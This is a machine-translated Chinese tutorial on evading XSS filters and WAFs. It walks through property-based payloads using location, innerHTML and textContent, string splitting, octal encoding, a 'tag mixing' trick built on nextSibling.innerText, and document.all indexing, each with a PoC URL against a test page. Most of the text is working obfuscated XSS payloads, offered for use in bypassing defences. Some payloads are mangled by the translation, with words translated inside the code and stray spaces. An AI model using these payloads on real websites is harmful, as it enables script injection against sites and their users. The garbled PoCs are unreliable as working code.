基于属性的有效负载是基于文档对象和元素的某些特定属性的有效负载。从文档对象我们已经知道基于位置的有效负载,从元素我们已经知道属性“innerHTML”和“outerHTML”。
当我们到达需要混淆 JavaScript 代码的地步时,这 3 个对于逃避过滤器或 WAF 非常有用。当我们经过基于 HTMLi 的 XSS 向量中的事件处理程序时,通常会出现这种情况,但它也可以用于常规 JavaScript 注入(在脚本块内),甚至可以用于基于 DOM 的 XSS 场景。
括号之争
过滤器和 WAF 将尝试以“(”和“)”的顺序捕获括号,以防止我们调用任何 JS 函数。可用于调用某些函数的反引号也会触发块。有一些方法可以通过常规过滤规则使它们不可预测,但为此我们需要以某种方式将我们的有效负载转换为字符串。这样做之后,我们可以将字符串拆分为多个部分,打断关键字并更改字符顺序以避免阻塞规则。
那么让我们看看当我们使用基于位置的有效负载时我们可以做什么。在本文中,我们将默认使用带有 onload 事件处理程序的 SVG 矢量,但它可以是完全绕过中使用的元素和处理程序的任意组合。
*** 复制+粘贴 2 行有效载荷时,请注意新行(变成空格)。***
<svg onload=location='javascript:alert(1)'>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=%27javascript:alert(1)%27%3E
它有效,但很容易成为过滤器的目标。让我们拆分字符串以创建一些变量并进行一些更改。
<svg onload=a=')',b='t(1',j='javas',
s='cript:aler',location=j+s+b+a>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg+onload=a=%27)%27,b=%27t(1%27,j=%27javas%27,s=% 27 脚本:aler%27,位置=j%2Bs%2Bb%2Ba%3E
正如我们所看到的,过滤器更难捕捉到这个。
绕过的方法是使用 document.location 属性的标准方法。现在让我们看一个使用 innerHTML 的示例,它的工作方式与使用 outerHTML 完全相同。我们使用八进制编码来不触发具有常规 HTML 规则的过滤器,因为我们的字符串与基于 HTMLi 的向量相同。
<svg onload=innerHTML=
'\74img/src/onerror\75alert\501\51\76'>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg%20onload=innerHTML=%27\74img/src/onerror\75alert\501\51\76%27%3E
可以在此处执行用于位置的相同拆分:
<svg onload=a='\51\76',b='t\501',
i='\74img/src/one',m='rror\75aler',innerHTML=i+m+b+a>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg%20onload=a=%27\51\76%27,b=%27t\501%27,i=%27\74img/ src/one%27,m=%27rror\75aler%27,innerHTML=i%2Bm%2Bb%2Ba%3E
标签混合技术
尽管上述技术非常有用,但它要求整个有效载荷都在元素内部,由事件处理程序触发。我们现在将看到的是一种使元素更短(但不是整个向量)并以过滤器或 WAF 极难捕获的方式拆分关键字的方法。
我们首先使用textContent跳转到我们的 XSS 向量之外:
<svg onload=location=textContent>javascript:alert(1)//
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=textContent%3Ejavascript:alert(1)//
添加双斜线以防万一注入后有任何本机文本内容。
这是一个很好的短有效负载,避免在 HMTL 元素 (svg) 中使用括号,但它仍然通过不混淆关键字 javascript(带分号)和警报来简化过滤器的工作,除了括号本身。
不幸的是,如果不使用我们的主要 SVG 向量使用的相同 HMTL 构造,我们就不能对 inner/outerHTML 做同样的事情,因为“<svg onload=innerHTML=textContent><img src onerror=alert(1)>”将毫无意义并且不会甚至工作。如果我们改用 innerHTML=innerHTML 并将“<”和“=”字符替换为它们各自的 HTML 实体,它也不会起作用。
值得庆幸的是,有一种方法可以解决上述两个基于字符串的有效负载的问题:标签混合技术。
它包括使用以下内容:
nextSibling属性的innerText属性返回的文本片段(这是我们在上面看到的一堆“b”元素)被连接起来形成我们想要的字符串。
这是 DOM 视图:
所以我们的下一个向量很简单:
<svg onload=location=nextSibling.innerText>
<b>javas<b></b>cript:al<b></b>ert(1)</b>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=nextSibling.innerText%3E%3Cb%3Ejavas%3Cb%3E%3C/b%3Ecript:al%3Cb%3E %3C/b%3Eert(1)%3C/b%3E
这使得过滤器现在很难捕获关键字并且很难跟踪括号以被阻止,但如果需要,我们可以添加更多的“b”元素:
<svg onload=location=nextSibling.innerText>
<b>javas<b></b>cript:al<b></b>ert(<b>1</b>)</b>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=nextSibling.innerText%3E%3Cb%3Ejavas%3Cb%3E%3C/b%3Ecript:al%3Cb%3E %3C/b%3Eert(%3Cb%3E1%3C/b%3E)%3C/b%3E
现在对于我们的基于 inner/outerHTML 属性的有效负载,我们有一些东西:
<svg onload=innerHTML=nextSibling.innerText>
<b><img/src/on<b></b>error=al<b></b>ert(1)></b>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg+onload=innerHTML=nextSibling.innerText%3E%3Cb%3E%26lt;img/src/on%3Cb%3E%3C/b %3Eerror=al%3Cb%3E%3C/b%3Eert(1)%3E%3C/b%3E
注意这次HTML 实体的使用(这里也有一个很好的实体列表)。所以我们可以将标签+文本与 HTML 实体混合来增加混淆。同样,如果捕获到任何关键字或模式,我们只需添加几个元素。
几乎所有有效的 XHTML 元素都可以使用(常规和任意标记),如下所示:
<svg onload=innerHTML=nextSibling.innerText>
<b><img/src/on<r></r>error=al<u></u>ert(<te>1</te>)>< /b>
PoC:https://brutelogic.com.br/gym.php?
p05=%3Csvg+onload=innerHTML=nextSibling.innerText%3E%3Cb%3E%26lt;img/src/on%3Cr%3E%3C/r%3Eerror=al%3Cu%3E%3C/u%3Eert(% 3Cte%3E1%3C/te%3E)%3E%3C/b%3E
但最好还是使用常规的、允许的 HTML,如 <b>、<s>、<u>,以防万一不要担心负载的那个阶段。事实上,当接近一个过滤器时,我们需要做的就是让这个通过:
<tag handler=property1=property2.property3>
剩下的会更容易。对于 property3,我们有“textContent”作为替代,对于 property2,我们有几个其他的,如“previousSibling”(标签混合出现在主向量之前)。在这里查看更多信息。
现在,最后一个技巧:除了使用关键字拆分来逃避对那些属性名称(例如 document['loca'+'tion'] 或 nextSibling['inner'+'Text'] 以及一些可选链接的过滤之外,我们还可以映射我们希望通过以下方式将有效负载指向的 DOM 树节点(示例中使用的“nextSibling”):
通过在控制台(浏览器开发工具 – F12)中使用console.log(document.all),我们能够看到我们注入元素的 document.all 索引。我们在 SVG 元素之后使用第一个“b”元素,构建它:
<svg onload=location=all[22].innerText>
<b>javas<b></b>cript:al<b></b>ert(1)</b>
PoC:https ://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=all[22].innerText%3E%3Cb%3Ejavas%3Cb%3E%3C/b%3Ecript:al% 3Cb%3E%3C/b%3Eert(1)%3C/b%3E